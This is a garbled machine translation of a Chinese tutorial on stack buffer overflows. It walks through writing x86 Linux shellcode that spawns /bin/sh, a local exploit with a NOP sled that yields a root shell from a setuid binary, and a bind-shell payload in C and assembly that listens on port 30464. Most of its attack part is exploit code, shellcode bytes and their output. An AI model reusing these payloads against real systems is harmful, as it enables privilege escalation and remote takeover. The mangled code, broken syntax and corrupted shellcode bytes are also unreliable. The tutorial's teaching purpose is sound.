Stack overflow from getting started to improve (reproduced)

zhaozj2021-02-16  40

Stack overflow from getting started to improve

-------------------------------------------------- ------------------------------

Organize: A new one is in the previous article, I hope the author is not to mind: P

Stack overflow series lecture entry

Preliminary knowledge: First you should learn about Intel assembly language, familiar with the composition and functionality of registers. You must have the basics of stack and storage allocation, there are many computer books on this area, I will just simply elaborate principles, focusing on applications. Second, you should understand Linux, this lecture, our example will be developed on Linux.

1: First review the basic knowledge.

Alternatively, the stack is a continuously allocated memory space. In a program, various variables are declared. Static global variables are loaded at the data segment and is loaded when the program starts running. The dynamic local variable of the program is allocated inside the stack.

From the operation, the stack is a queue that is first inward. His growth direction is opposite to the direction of the growth direction. We specify that the growth direction of the memory is up, then the growth direction of the stack is down. Pushing operation Push = ESP-4, out of the stack is POP = ESP 4. In other words, the old value in the stack, the memory address, but more than the new value. Please remember this because it is the basic theoretical basis for stack overflow.

In a function call, the stack will be pressed in sequence: parameters, return addresses, EBP. If the function has a local variable, then the corresponding space is opened in the stack to construct a variable. The function is executed, and the content of these local variables will be lost. But it is not cleared. When the function returns, the EBP pops up, restore the stack to the address called the function called, and pops up the address to the EIP to continue executing the program.

In a C language program, the stack order of the parameters is reverse. For example, FUNC (A, B, C). When the argument is in the stack, it is: first pressing C, then press B, and final A. When the parameter is taken, because the stack is inserted, the top of the stack is first, and then B, and finally C. (PS: If you don't understand the above outline, please go to see books about the stack, the general assembly language book will discuss the stack in detail, you must understand it, you can make the following learning)

2: Ok, continue, let us see what is stack overflow.

2.1: Stack assignment at runtime

The stack overflow is to write too much data to the data block in a part of the local data block allocated in the stack, resulting in data offline. The result is covered with old stack data.

For example, there is a program below: Program 1: #include int main () {char name [8]; Printf ("please type your name:"); gets (name); Printf ("Hello,% s ! ", Name); Return 0;}

Compile and execute, let's enter ipxodi, will output Hello, IPXoDi !. How do you operate in the stack?

When the main function starts running, the stack will be placed in turn in the return address, EBP.

We use GCC -S to get assembly language output, you can see the beginning part of the main function corresponding to the following statement:

PUSHL% EBP MOVL% ESP,% EBP SUBL $ 8,% ESP

First, he saved EBP, then EBP is then equal to the current ESP, so that EBP can be used to access local variables of this function. The ESP is then reduced by 8, which is the stack up to 8 bytes to store the Name [] array. The layout of the stack is now as follows: Memory bottom memory top Name EBP RET <------ [] [] [] ^ & Name Stack top stack bottom

After performing gets (name), the stack is as follows:

Memory bottom memory top Name EBP RET <------ [ipXoDi / 0] [] [] ^ & Name Stack top stack bottom

Finally, main returns, pops up the address in the RET, assigns the value to the EIP, and the CPU continues to perform the instructions pointed at the EIP.

2.2: Stack overflow

Ok, it looks smooth. Once again, enter IPXodiaaaaaaaaaaaaaa, after performing gets (name), the stack is as follows:

Memory bottom memory top Name EBP RET <------ [ipxodiaa] [aaaa] [aaaa] ....... ^ & Name Stack top Stack bottom

Since the Name string we entered is too long, the Name array is not covered, but you have to continue writing 'A' on top of the memory. Since the growth direction of the stack is opposite to the growth direction of the memory, these 'a' covers the old elements of the stack. As shown in the figure, we can find that EBP, RET has been covered by 'A'. When MAIN is returned, the 'AAA' ASCII code: 0x41414141 is used as the return address, and the CPU will attempt to execute the instructions at 0x41414141, and the result is an error. This is the stack overflow.

3: How to use the stack overflow

We have made a stack overflow. The principle can be summarized as: due to string processing functions (Gets, Strcpy, etc.) do not monitor and limit the array crosses, we use the character number to write the offshore, cover the value of the old elements in the stack, you can modify the return address.

In the above example, this causes the CPU to access a non-existing instruction, and the result is wrong.

In fact, when the stack overflows, we have fully controlled the next step in this program. If we overwrite this return address with a actual presence, the CPU will turn to our instructions.

In the UINX system, our instructions can execute a shell, which will get the same permissions as the programs we stack overflow. If this program is setuid, then we can get the root shell.

The next lecture will describe how to write a shell code.

-------------------------------------------------- ------------

How to write a shell code

1: SHELLCODE basic algorithm analysis

In the program, executing a shell is written in this: shellcode.c --------------------------------- ------------------------------------------- #include

Void main () {char * name [2];

Name [0] = "/ bin / sh" name [1] = null; execve (name [0], name, null);} ----------------- -------------------------------------------------- --- ------ Execve function will execute a program. He needs the name address of the program as the first parameter. A pointer array of Argv [I] (ARGV [N-1] = 0) of the program as the second parameter, and (char *) 0 as the third parameter.

We look to see execve assembly code: [nkl10] $ gcc -o shellcode -static shellcode.c [nkl10] $ gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__ execve>: pushl% ebp ; 0x80002bd <__ execve 1>: MOVL% ESP,% EBP; above is a function header. 0x80002BF <__ execve 3>: Pushl% EBX; save EBX 0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX; EAX = 0XB, EAX specificallys the first few system calls. 0x80002C5 <__ EXECVE 9>: MOVL 0x8 (% EBP),% EBX; EBP 8 is the first parameter "/ bin / sh / 0" 0x80002c8 <__ execve 12>: MOVL 0xc (% EBP),% ECX; EBP 12 is the address 0x80002cb <__ EXECVE 15>: MOVL 0x10 (% EBP),% EDX; EBP 16 is the address of the third parameter empty pointer. Name [2-1] The content is null to store the return value. 0x80002CE <__EXECVE 18>: int $ 0x80; executive 0xB number system call (Execve) 0x80002d0 <__ execve 20>: MOVL% EAX,% EDX; below is the process of return values. 0x80002d2 <__ execve 22>: testl% edx,% edx 0x80002d4 <__ execve 24>: jnl 0x80002e6 <__ execve 42> 0x80002d6 <__ execve 26>: negl% edx 0x80002d8 <__ execve 28>: pushl% edx 0x80002d9 <__ execve 29>: call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: popl% edx 0x80002df <__ execve 35>: movl% edx, (% eax) 0x80002e1 <__ execve 37>: movl $ 0xffffffff,% eax 0x80002e6 <__ execve 42>: popl% EBX 0x80002e7 <__ execve 43>: MOVL% EBP,% ESP 0x80002E9 <__ execve 45>: POPL% EBP 0x80002ea <__ execve 46>: RET 0x80002eb <__ execve 47>: NOP end of assembler dump After the above analysis, you can get the following reduced instruction algorithm: MOVL $ execve system call number,% EAX MOVL "BIN / SH / 0" address,% EBX MOVL NAME array address,% ECX MOVL NAME [N- 1] Address,% EDX INT $ 0x80; Execute System Call (Execve)

When Execve is successful, the program shellcode exits, / bin / SH will continue to execute as the child process. However, if our Execve performs failure, (for example, there is no / bin / sh), the CPU will continue to perform subsequent instructions, and the result I don't know where to go. So you must perform an exit () system call, end the execution of shellcode.c. Let's see the assembly code of Exit (0): (GDB) Disassemble _Exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl% EBP 0x800034D <_exit 1>: movl% ESP,% EBP 0x800034f <_exit 3>: pushl% EBX 0x8000350 <_exit 4>: MOVL $ 0x1,% EAX; 1 system call 0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX; EBX is parameter 0 0x8000358 <_exit 12>: int $ 0x80; trigger system call 0x800035a <_exit 14>: MOVL 0xFFFFFFC (% EBP),% EBX 0x800035D <_exit 17>: MOVL% EBP,% ESP 0x800035F <_exit 19>: Popl% EBP 0x8000360 <_exit 20>: RET 0x8000361 <_exit 21>: NOP 0x8000362 <_exit 22>: NOP 0x8000363 <_exit 23>: NOP End of Assembler Dump.

It seems that EXIT (0)] is more simple: MOVL $ 0x1,% EAX; No. 1 system call MOVL 0,% EBX; EBX is EXIT's parameter 0 int $ 0x80; trigger system call

So summary, the synthetic assembly code is: system call number,% EAX MOVL "BIN / SH / 0" address, address,% ECX MOVL NAME [N-1] % EDX INT $ 0x80; Execute System Call (Execve) MOVL $ 0x1,% EAX; 1 system call MOVL 0,% EBX; EBX is EXIT's parameter 0 int $ 0x80; execution system call (exit)

2: Implement a shellcode

Ok, let's implement this algorithm. First we must have a string "/ bin / sh", have to have an Name array. We can construct them, but why do they know their address in Shellcode? Each program is dynamically loaded, the address of the string and the Name array is not fixed.

Through JMP and Call, the hackers have solved this problem. -------------------------------------------------- ---------------------- ------ JMP Call offset address # 2 bytes popl% esi # 1 byte // Popl comes String the address of. MOVL% ESI, Array-Offset (% ESI) # 3 bytes // Constructs a NAME array at String 8,

// Name [0] put the address of the String

Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes // String 7 Play 0 as the end of String. MOVL $ 0x0, Null-Offset (% ESI) # 7 bytes // name [1] puts 0. MOVL $ 0XB,% EAX # 5 bytes // EAX = 0xB is the syscall code for Execve. MOVL% ESI,% EBX # 2 bytes // EBX = String address LEAL Array-Offset, (% ESI),% ECX # 3 BYTES // ECX = Name Array Start address LEAL NULL-OFFSET (% ESI),% EDX # 3 bytes // edx = name [1] address int $ 0x80 # 2 bytes // int 0x80 is Sys call MOVL $ 0x1,% EAX # 5 bytes // EX = 0x1 is exit's syscall code MOVL $ 0x0, % EBX # 5 bytes // ebx = 0 is exit return value int $ 0x80 # 2 bytes // int 0x80 is the offset address of sys call call popl # 5 bytes //> The address of String will be made / / To return the address stack. / BIN / SH string -------------------------------------------- -------------------------------- First use the JMP relative address to jump to Call, execute the CALL instruction, The address of the string / bin / sh will be pressed into the stack as the return address of the Call. Now come to POPL ESI, take it out of the string address just pressing into the stack, get the real address of the string. Then, the 8th word of the string is 0, which is the end of the string. 8 bytes behind, constructed an NAME array (two integers, eight bytes). We can write shellcode. Write a briefing program first. Shellcodeasm.c ------------------------------------------------ ------------------------- ------ Void main () {__ASM __ ("JMP 0x2a # 3 bytes popl% ESI # 1 Byte MOVL% ESI, 0x8 (% ESI) # 3 Bytes Movb $ 0x0,0x7 (% ESI) # 4 Bytes Movl $ 0x0,0xc (% ESI) # 7 BYTES MOVL $ 0XB,% ESI,% EBX # 2 Bytes Leal 0x8 (% ESI),% ECX # 3 bytes Leal 0xc (% ESI),% EDX # 3 bytes Int $ 0x80 # 2 Bytes Movl $ 0x1,% EAX # 5 Bytes Movl $ 0x0,% EBX # 5 bytes int $ 0x80 # 2 Bytes Call -0x2f # 5 bytes .string / "/ bin / sh /" # 8 bytes ");} ------------------ -------------------------------------------------- -------- After compiling, use GDB's B / BX [Address] command can get a representation of hexadecimal. Below, the test procedure is as follows: (note that this TEST program is the basic program for testing shellcode)

Test.c ------------------------------------------------- ------------------------------

Char shellcode [] = "/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / X00 / X00 / X00" "/ x00 / xb8 / x0b / x00 / x00 / x00 / x89 / x08 / x8d / x56 / x0c / xcd / x80 "" / xb8 / x01 / x00 / x00 / x00 / x00 / xcd / x80 / ​​xe8 / XD1 / XFF / XFF "/ XFF / X2F / X62 / X69 / X00 / X2F / X73 / X68 / X00 / X89 / XEC / X5D / XC3" Void Main () {Int * Ret;

RET = (int *) & RET 2; // Ret equal to the return address of Main () / ( 2 is because there is a PUSHL EBP, otherwise add 1 is ok.)

(* RET) = (int) shellcode; // Modify the return address of Main () is the start address of Shellcode.

}

-------------------------------------------------- ------------------------------------------------- -------------------------------------------------- ------ [NKL10] $ GCC -O Test Test.c [nkl10] $ ./test $ exit [nkl10] $ ---------------------------------------------------------------------------------------------------- -------------------------------------------------- - ------ We store Shellcode through a shellcode array. When we set the return address RET of the program (Test.c) to the start address of the shellcode array, the program will go to the time when returned. Shellcode, so we got a shell.

After running the results, I got the BSH prompt $, indicating that a shell was opened.

It is necessary to explain here that we use shellcode as a global variable in the data segment instead of as a code. Because in the operating system, the content of the program code segment is read-only attribute. Can not be modified. And the MOVL% ESI, 0x8 (% ESI) in our code modifies part of the code, so it cannot be placed in the code segment.

Can this shellcode? Unfortunately, it is still a bit. Everyone recalled that in the stack overflow, the key is the writing offshore of the string array. However, the string functions such as Gets, Strcpy are ended at "/ 0" as the string of strings in "/ 0". In cases / 0, you will end the write operation. And our shellcode string has a lot of / 0 characters. Therefore, for Gets (Name), the above shellcode is not feasible. Our shellcode can't have / 0 characters.

Therefore, some instructions need to be modified: old instructions New instructions ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ - MOVB $ 0X0, 0X7 (% ESI) XORL% EAX,% EAX MOLV $ 0x0,0xc (% ESI) MOVB% Eax, 0x7 ( % ESI) MOVL% EAX, 0xC (% ESI) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ MOVL $ 0XB,% EAX MOVB $ 0XB,% Al -------------------- ---------------------------------- MOVL $ 0X1,% EAX XORL% EBX,% EBX MOVL $ 0 X0,% EBX MOVL% EBX,% EAX Inc% EAX ------------------------------------- ------------------- The last shellcode is: -------------------------- ---------------------------------------------- ---- Char shellcode [] = 00 "/ xeb / x1f" / * jmp 0x1f * / 02 "/ x5e" / * popl% ESI * / 03 "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / 06 "/ x31 / xc0" / * xorl% EAX,% EAX * / 08 "/ x88 / x46 / x07" / * movb% EAX, 0x7 (% ESI) * / 0b "/ x89 / x46 / x0c" / * MOVL% EAX, 0xc (% ESI) * / 0e "/ xb0 / x0b" / * movb $ 0X,% Al * / 10 "/ x89 / xf3" / * movl% ESI,% EBX * / 12 "/ X8D / X4E / X08 "/ * LEAL 0x8 (% ESI),% ECX * / 15" / x8d / x56 / x0c "/ * leal 0xc (% ESI),% EDX * / 18" / XCD / X80 "/ * INT $ 0x80 * / 1A "/ x31 / xdb" / * xorl% EBX,% EBX * / 1C "/ x89 / xd8" / * movl% EBX,% EAX * / 1E "/ x40" / * inc% EAX * / 1F "/ xcd / x80" / * int $ 0x80 * / 21 "/ XE8 / XDC / XFF / XFF / XFF "/ * CALL-0X24 * / 26" / BIN / SH "/ * .String /" / bin / sh / "* / --------------- -------------------------------------------------- ------- ----

Three: Use the stack overflow to get the shell

Ok, now we have made a stack overflow, write a shellcode. Preparation has been finished, we combine the two and write a program that uses stack overflow to get the shell. Overflow1.c ----------------------------------------------- ------------------------- ------ char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd" / x80 / ​​xe8 / xdc / xff / xff / xff / bin / SH "char lad_string";

Void main () {charffer [96]; int i; long * long_ptr = (long *) large_string;

For (i = 0; i <32; i ) * (long_ptr i) = (int) buffer;

For (i = 0; i

STRCPY (Buffer, Large_String);} ------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------- After the STRCPY is executed, the stack content is as follows:

Memory bottom memory top Buffer EBP RET <------ [SSS ... SSSA] [A] [A] A..A ^ & buffer stack top stack bottom Note: s Represents shellcode. A represents the address of the shellcode.

In this way, after STRCPY is executed, OVERFLOW. c will remove A from RET as a return address, thereby performing our shellcode.

-------------------------------------------------- ------------

Use stack overflow to get the shell

Now let us enter the most exciting say, using the stack of others' programs to overflow to get rootshell. We will facing a program with StrcPy stack overflow vulnerabilities, using the previous method to get the shell.

Recalling the previous speech, we have stored shellcode through a shellcode array, using the strcpy function in the program, put shellcode in the stack of the program; we have created the array of offers, overwriting the program with the start address of Shellcode (overflow.c) Back to the address, the program will perform our shellcode when returning, so we get a shell.

When we face the procedures written by others, in order to let him perform our shellcode, we must also do this: 1: Provide our shellcode to him, let him visit Shellcode. 2: Modify his return address to the entrance address of shellcode.

In order to do these, we must know that his STRCPY (Buffer, Ourshellcode), the address of the buffer. Because when we provide shellcode to strcpy, the Buffer's start address is the start address of Shellcode, we must use this address to overwrite the stack. Everyone must be clear.

We know that for the operating system, the stack segment of each program under a shell is the same. We can write a program to get the starting address of the running, so we know the start address of the target program stack.

Below this function, use EAX to return the current program's stack pointer. (All the return values ​​of all C functions are placed in the EAX register): ----------------------------------- ------------------------------------------ unsigned long get_sp (void) { __asm ​​__ ("MOVL% ESP,% EAX");} ------------------------------------- ---------------------------------------- We know that after you know the stack start address, Buffer relative to the offset of the stack start address is determined by the program written by his programmer, we don't know, it can only be guess. However, the general program stack is about a few ks. So, this buffer has the stack address obtained above, and the difference is between a few k.

Obviously, the address is a very difficult thing, from 0 to 10K, will be exhausted.

Earlier we used to cover the overflow stack string is: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Now, in order to improve the hit rate, we carried out the following improvements to him: to overflow string becomes: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA wherein: N is the mean NOP.NOP instruction do nothing Skip a CPU instruction cycle. On the INTEL machine, the machine code of the NOP instruction is 0x90. S is shellcode. A gives us the address of the buffer. In this way, a guessing can also fall in N, and will eventually execute to S. This improvement greatly improves the hit rate of guess, sometimes almost hit. :)))

Ok, boring algorithm is complete, the following is the use of ./vulnerable1 stack overflow vulnerabilities to get the shell program: Exploit1.c ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- ---- #include #include

#define offset 0 #define ret_position 1024 #define Range 20 #define NOP 0x90

Char shellcode [] = "/ xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% esi) * / " / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x88 / x46 / x07 "/ * movb% EAX, 0x7 (% ESI) * /" / x89 / x46 / x0c "/ * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ x8d / x56 / x0c" / * LEAL 0XC (% ESI),% EDX * / "/ XCD / X80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% eax * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh" / * .string / "/ bin / sh /" * / unsigned long get_sp (void) {__ASM __ ("MOVL % ESP,% EAX ");

Main (int Argc, char ** argv) {char buff [RET_POSITION RANGE 1], * PTR; long addr; unsigned long sp; int off, = offset, bsize = RET_POSITION RANGE Align 1; int 1;

IF (Argc> 1) OFFSET = ATOI (Argv [1]);

SP = GET_SP (); addr = sp-offset;

For (i = 0; i

For (i = 0; i

PTR = BUFF BSIZE-RANGE * 2-Strlen (shellcode) -1; for (i = 0; I

Printf ("Jump to 0x% 08x / N", ADDR);

EXECL ("./ Vulnerable1", "Vulnerable1", Buff, 0);} ---------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------ EXECL is used to perform the target program ./vulnerable1 ,Buff is the parameter provided by our carefully made overflow string as a ./vulnerable1. The following is the result of the execution: ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------- ---- [NKL10] $ ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx Jan 10 16:19 Vulnerable1 * [NKL10] $ LS -L Exploit1 -RWXR-XR-X 1 ipxodi cinip xxxx Oct 18 13:20 Exploit1 * [NKL10] $ ./exploit1 jump to 0xBffec64 segmentation fault [nkl10] $ ./ Exploit1 500 Jump to 0xBffea70 Bash # WHOAMI ROOTBSH # -------------------------------------------------------------------------------------- ------------------------------------ Congratulations, congratulations, you got the root shell.

Next, we will further explore the writing of shellcode. We will discuss some very complex shellcode.

-------------------------------------------------- ----------------

Remote stack overflow

When we use the stack overflow attack daemon daem, the principle and the local attack mentioned above are the same. We must provide a spill string to the target daemon, which contains shellcode. I hope that the enemy has a stack overflow when copying (or other string processing), so that our shellcode is performed.

Ordinary shellcode will start a child process to execute SH, withdraw it. For our remote attackers, because we are not in the local, we have not been obtained.

Therefore, for remote users, we pass the shellcode must be burdened to open a socket, then our connection, give us a remote shell responsibility.

How to open a remote shell? Let's apply for a socketfd, use 30464 (casual, how many banks) as this socket connection, bind, and wait on this port to wait for connection Listen. When there is a connection to come, open a child shell, connect the connected clientfd as the STDIN, STDOUT, STDERR. In this way, our remote users have a remote shell (like telnet).

Here is the C implementation of this algorithm:

OpenSocket.c ----------------------------------------------- ------------------------- ---- 1 # include 2 # include 3 # include

4int soc, cli, soc_len; 5struct sockaddr_in serv_addr; 6struct sockaddr_in cli_addr; 7int main () 8 {9 if (fork () == 0) 10 {11 serv_addr.sin_family = AF_INET; 12 serv_addr.sin_addr.s_addr = htonl (INADDR_ANY ); 13 serv_addr.sin_port = htons (30464); 14 SOC = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); 15 Bind (SOC, STRUCKADDR *) & serv_addr, sizeof (serv_addr)); 16 Listen (SoC, 1); 17 SOC_LEN = SIZEOF (CLI_ADDR); 18 CLI = Accept (SOC, STRUCKADDR *) & cli_addr, & soc_len); 19 DUP2 (CLI, 0); 20 DUP2 (CLI, 1); 21 DUP2 (CLI, 2); 22 Execl ("/ Bin / SH", "SH", 0); 23} 24} ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------- The Fork () function creates a child process, the return value for the parent process fork is the PID of the child process. For the child process, the return value of fork () is 0. In this program, a Father process has executed a fork. The child process continues the following operations as an executor as a socket communication.

10 to 23 rows are what is doing things. First call Socket to get a file descriptor So, then call bind () bind 30464 port, and then start listening listen (). The program hangs in the Accept Wait for the customer connection.

When there is a customer connection, the program is awakened, performing accept, then putting its own standard input, standard output,

Standard error output redirection to the customer's file descriptor, open a child, so that the child shell inherits

The file descriptor of this process is to get a remote shell for the customer.

Did you understand? Well, right, this is a relatively simple Socket program, which is very understood. Ok, we use

GDB comes back to compile the above procedures:

[Nkl10] $ gcc -o opensocket -static opensocket.c [nkl10] $ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and / or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". .. (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 : movl $ 0x2,% eax 0x804ca95 : int $ 0x80 0x804ca97 : cmpl $ 0xfffff001,% eax 0x804ca9c : jae 0x804cdc0 <__ syscall_error> 0x804caa2 : RET 0x804caa3 : NOP 0x804caa4 : NOP 0x804caa5 : NOP 0x804caa6 : NOP 0x804caa7 : NOP 0x804caa8 : NOP 0x804caa9 : NOP 0x804caaa : NOP 0x804caab : NOP 0x804caac : NOP 0x804caad : NOP 0x804caaa : NO p 0x804caaf : nop End of assembler dump (gdb) disassemble socket Dump of assembler code for function socket:. 0x804cda0 : movl% ebx,% edx 0x804cda2 : movl $ 0x66,% EAX 0x804cda7 : MOVL $ 0x1,% EBX 0x804cdac : Leal 0x4 (% ESP, 1),% ECX 0x804cdb0 : int $ 0x80 0x804cdb2 : MOVL % EDX,% EBX 0x804cdb4 : CMPL $ 0xfffffff83,% EAX 0x804cdb7 : jae 0x804cdc0 <__ syscall_error> 0x804cdbd <

Socket 29>: RET 0X804CDBE : NOP 0x804cdbf : NOP End of assembler dump. (gdb) Disassemble Bind Dump of askeMbler code for function bind: 0x804cd60 : MOVL% EBX,% EDX 0x804cd62 : MOVL $ 0x66,% EAX 0x804cd67 : MOVL $ 0x2,% EBX 0x804cd6c : Leal 0x4 (% ESP, 1),% ECX 0x804cd70 : int $ 0x80 0x804cd72 : MOVL% EDX,% EBX 0x804cd74 : CMPL $ 0xfffffff83,% EAX 0x804cd77 : jae 0x804cdc0 <__ syscall_error> 0x804cd7d : ret 0x804cd7e : nop 0x804cd7f : nop End of assembler dump (gdb) disassemble listen Dump of assembler code for function listen:. 0x804cd80 : movl% ebx,% edx 0x804cd82 : MOVL $ 0x66,% EAX 0x804cd87 : MOVL $ 0X4,% EBX 0x804cd8c : Leal 0x4 (% ESP, 1),% ECX 0x804cd90 : int $ 0x80 0x804cd92 : movl% edx,% ebx 0x804cd94 : cmpl $ 0xffffff83,% eax 0x804cd97 : jae 0x804cdc0 <__ syscall_error> 0x804cd9d : ret 0x804cd9e : nop 0x804cd9f : nop End of assembler dump (gdb) disassemble accept Dump of assembler code for function __accept:. 0x804cd40 <__ accept>: movl% ebx,% edx 0x804cd42 <__ accept 2>: MOVL $ 0x66,% EAX 0x804cd47 <__ accept 7>: MOVL $ 0x5,% EBX 0x804CD4C <__ accept 12>: Leal 0x4 (% ESP, 1),% ECX 0x804cd50 <__ accept 16>: int $ 0x80 0x804cd52 <__ accept 18>: MOVL% EDX,% EBX 0x804cd54 <__ accept 20>

: Cmpl $ 0xffffff83,% eax 0x804cd57 <__ accept 23>: jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept 29>: ret 0x804cd5e <__ accept 30>: nop 0x804cd5f <__ accept 31>: nop End of assembler dump (gdb. DISSEMBLER CODE for Function DUP2: 0X804CBE0 : MOVL% EBX,% EDX 0x804cbe2 : MOVL 0x8 (% ESP, 1),% ECX 0x804cbe6 : MOVL 0x4 ( % ESP, 1),% EBX 0x804cbea : MOVL $ 0x3f,% EAX 0x804cbef : int $ 0x80 0x804cbf1 : MOVL% EDX,% EBX 0x804cbf3 : CMPL $ 0xfffffff001,% EAX 0x804cbf8 : jae 0x804cdc0 <__ syscall_error> 0x804cbfe : RET 0x804cbff : NOP End of assembler Dump. You can now write the compilation of the above C code. .

Compilation code for fork () ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------ CHAR CODE [] = "/ x31 / xc0" / * xorl% EAX,% Eax * / "/ xb0 / x02" / * MOVB $ 0X2,% Al * / "/ xcd / x80" / * int $ 0x80 * / ------------------ -------------------------------------------------- ---- ----

Socket (2, 1, 6) assembly code note: AF_INET = 2, SOCK_STREAM = 1, ipproto_tcp = 6 -------------------------- ---------------------------------------------- ---- / * Socket uses 66 system call, No. 1 sub-call. * / / * He uses a parameter 2, 1, 6. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX, % EBX * / "/ x89 / xf1" / * movl% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / * First parameter * / / *% ESI points to a unused memory space * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ X89 / X46 / X04" / * MOVL% EAX, 0x4 (% ESI) * / / * second parameter * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * third parameter. * / "/ Xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80 "/ * INT $ 0x80 * / --------------------------------------- --------------------------------- ----

Compilation code for Bind (STRUCKADDR *) & serv_addr, 0x10) -------------------------------- ---------------------------------------- / * Bind uses 66 system call , No. 2 child call. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0XC (% ESI) * / / / * serv_addr.sin_family = af_net (2) * / / / * 2 placed in 0xc (% ESI). * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * mov% AX, 0xE (% ESI) * / / * port number (0x7700 = 30464) At 0xE (% ESI) * / "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / / *% EAX = Serv_addr address * / "/ x89 / x46 / x04" / * MOVL % EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / / / * serv_addr.sin_addr.s_addr = 0 * / "/ xb0 / x10" / * MOVB $ 0X10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * Third parameters. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ XCD / X80 "/ * int $ 0x80 * / ----------------------------------------- ----------------------------------

Assembly code for Listen (Soc, 1) --------------------------------------- --------------------------------- / * Listen uses 66 system calls, No.4 sub-calls. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / " / XB3 / X04 "/ * MOVB $ 0X4,% BL * /" / xcd / x80 "/ * int $ 0x80 * / ---------------------- -------------------------------------------------- ---- ACCEPT (SOC, 0, 0) assembly code --------------------------------- ------------------------------------- - / * accept uses system calls, No. 5 child call. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * movl% ESI,% ECX * / "/ x89 / xf1" / * MOVL% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ x31 / xc0" / * xorl% EAX,% Eax * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80 "/ * int $ 0x80 * / ----------------------------------------- ----------------------------------

